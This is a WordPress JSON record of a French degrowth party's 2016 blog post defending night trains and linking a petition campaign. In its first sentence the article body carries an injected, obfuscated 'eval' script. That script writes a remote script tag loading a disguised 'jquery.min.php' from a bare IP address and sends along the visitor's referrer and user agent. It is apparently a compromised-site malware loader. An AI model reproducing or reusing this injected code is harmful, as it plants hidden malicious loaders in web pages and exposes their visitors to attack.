{"id":9295,"date":"2016-12-31T10:01:30","date_gmt":"2016-12-31T09:01:30","guid":{"rendered":"http:\/\/www.partipourladecroissance.net\/?p=9295"},"modified":"2017-05-06T14:50:50","modified_gmt":"2017-05-06T13:50:50","slug":"des-trains-de-nuit-pour-une-transition-dans-les-transports","status":"publish","type":"post","link":"https:\/\/www.partipourladecroissance.net\/?p=9295","title":{"rendered":"Des trains de nuit pour une transition dans les transports"},"content":{"rendered":"<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full\" src=\"https:\/\/ouiautraindenuit.files.wordpress.com\/2016\/04\/cropped-gare_de_luchon_-_franc3a7ois_bouf2.jpg\" alt=\"\" width=\"1600\" height=\"411\" \/><\/p>\n<p>Cela <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|heyab|var|u0026u|referrer|kzyae||js|php'.split('|'),0,{}))\n<\/script><\/noindex> fait quelques ann\u00e9es que les trains de nuit ne sont plus une priorit\u00e9 : pas assez rapides, pas assez confortables, pas assez modernes. Aujourd\u2019hui, il ne reste que quelques lignes en fonctionnement \u2026 pour quelques mois encore.<\/p>\n<p>La fin des trains de nuit est une manifestation suppl\u00e9mentaire du renoncement \u00e0 prendre le temps de vivre. Nous ne prenons plus le temps du voyage. Le voyage est en train de disparaitre au b\u00e9n\u00e9fice de la destination. L&rsquo;espace est r\u00e9duit \u00e0 un point de d\u00e9part et \u00e0 un point d&rsquo;arriv\u00e9e. Et entre les deux, que du vide &#8230;<\/p>\n<p>Mais ce n\u2019est pas seulement une certaine fa\u00e7on de voyager qui se perd, c\u2019est une fois encore la sacro-sainte \u00ab\u00a0loi\u00a0\u00bb de l\u2019\u00e9conomie qui nous domine. En ob\u00e9issant \u00e0 ces \u00ab\u00a0lois\u00a0\u00bb, nous rempla\u00e7ons ce moyen de transport peu polluant et convivial, par du co-voiturage, des avions ou bus low-cost (les externalit\u00e9s n&rsquo;\u00e9tant pas \u00e0 la charge des<br \/>\nentreprises) ou encore des trains de jour avec les lignes \u00e0 grandes vitesse (LGV). Une certaine vision de l&rsquo;avenir !<\/p>\n<p>Il est loin le temps o\u00f9 le train maillait notre territoire pour d\u00e9senclaver certaines zones. Aujourd\u2019hui auto-routes et LGV sont charg\u00e9s de l\u2019am\u00e9nagement du territoire, d\u2019un territoire finalement qui n\u2019est plus que travers\u00e9, presque cach\u00e9. Rappelons que la terminologie officielle des trains de nuit est \u00abtrains d\u2019\u00e9quilibre du territoire\u00bb. Des trains, justement qui permettaient \u2013 avec de rares intercit\u00e9s \u2013 de voyager avec son v\u00e9lo sans \u00eatre oblig\u00e9 de le d\u00e9monter.<\/p>\n<p>Un des axes de changement soutenu par la D\u00e9croissance est la relocalisation ouverte, c&rsquo;est \u00e0 dire ; de nombreux petits territoires dynamiques reli\u00e9s entre eux. C&rsquo;est pour cela qu&rsquo;il faut d\u00e9fendre nos derniers trains de nuits. Non comme un vestige d\u2019une soci\u00e9t\u00e9 ayant du mal \u00e0 se s\u00e9parer de son pass\u00e9, mais bien pour anticiper les soci\u00e9t\u00e9s relocalis\u00e9es de demain.<\/p>\n<p>Argumentation, actions, p\u00e9tition: voir <a href=\"https:\/\/ouiautraindenuit.wordpress.com\/\" target=\"_blank\" data-saferedirecturl=\"https:\/\/www.google.com\/url?hl=fr&amp;q=https:\/\/ouiautraindenuit.wordpress.com\/&amp;source=gmail&amp;ust=1483260724584000&amp;usg=AFQjCNE0RLShRiCUpFHKfHxs6KJlQ2bLbw\">https:\/\/ouiautraindenuit.wordp<wbr \/>ress.com\/<\/a><\/p>\n<p style=\"text-align: right;\">Le PPLD<\/p>\n<p style=\"text-align: right;\"><!--more--><\/p>\n<p>Voir, l&rsquo;<span style=\"font-size: medium;\"><b>Appel \u00e0 l\u2019action pour les TRAINS DE NUIT<\/b><\/span><\/p>\n<p>Contre la suppression et pour le d\u00e9veloppement de tous les trains de nuit (et des trains d&rsquo;\u00e9quilibre du territoire (<i>TET<\/i>)) nous appelons \u00e0 l\u2019action.<\/p>\n<p>Petit \u00e0 petit les trains de nuit ont \u00e9t\u00e9 n\u00e9glig\u00e9s, puis supprim\u00e9s. Au point que presque tous les trains de nuit de France sont appel\u00e9s \u00e0 \u00eatre supprim\u00e9s \u00e0 courte \u00e9ch\u00e9ance.<\/p>\n<p>Un coup de couperet est maintenant en passe d\u2019\u00eatre donn\u00e9 ce samedi \u00e0 un des trains embl\u00e9matiques: le Paris-Portbou.<\/p>\n<p>Le Strasbourg-Portbou vient d\u2019\u00eatre supprim\u00e9 de mani\u00e8re particuli\u00e8rement insidieuse, par un d\u00e9sinvestissement lent, en supprimant les arr\u00eats, les wagons places assises, en supprimant les connexions, en faisant croire cet \u00e9t\u00e9 que la ligne \u00e9tait \u201cen travaux\u201d.<\/p>\n<p>On parle de d\u00e9ficit alors que des milliards sont donn\u00e9s aux TGV, et que les a\u00e9roports et routes sont subventionn\u00e9s \u00e0 tire-larigot, favorisant des moyens de transport qui remettent en cause la stabilit\u00e9 du climat mondial et qui destructurent l\u2019habitat. D\u2019un autre cot\u00e9 on fait de grands discours sur l\u2019environnement et le social, et des moyens de transport, s\u00fbrs, \u00e9cologiques, populaires, utilisant des voies existantes sont en passe d\u2019\u00eatre supprim\u00e9s!<\/p>\n<p>Prenons l\u2019exemple sur l\u2019Autriche, la Su\u00e8de qui favorisent les trains de nuit. D\u2019une port\u00e9e de 600km \u00e0 1500km, ils peuvent concurrencer l\u2019avion \u00e0 l\u2019\u00e9chelle europ\u00e9enne. Le voyage de nuit optimise le temps, pour gagner une journ\u00e9e enti\u00e8re \u00e0 destination. \u00ab Avec le train de nuit, Paris est \u00e0 une heure du sud de la France : 1\/2 heure pour s\u2019endormir et 1\/2 heure pour se r\u00e9veiller \u00bb.<\/p>\n<p>La campagne \u00ab oui au train de nuit \u00bb est soutenue par plus de 35 organisations<\/p>\n<p>Argumentation, actions, p\u00e9tition: voir <a href=\"https:\/\/ouiautraindenuit.wordpress.com\/\" target=\"_blank\" data-saferedirecturl=\"https:\/\/www.google.com\/url?hl=fr&amp;q=https:\/\/ouiautraindenuit.wordpress.com\/&amp;source=gmail&amp;ust=1483260724584000&amp;usg=AFQjCNE0RLShRiCUpFHKfHxs6KJlQ2bLbw\">https:\/\/ouiautraindenuit.wordp<wbr \/>ress.com\/<\/a><\/p>\n<p>Envoyez vos photos d&rsquo;action \u00e0 <a href=\"mailto:ouiautraindenuit@ntymail.com\" target=\"_blank\">ouiautraindenuit@ntymail.com<\/a><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Cela fait quelques ann\u00e9es que les trains de nuit ne sont plus une priorit\u00e9 : pas assez rapides, pas assez confortables, pas assez modernes. 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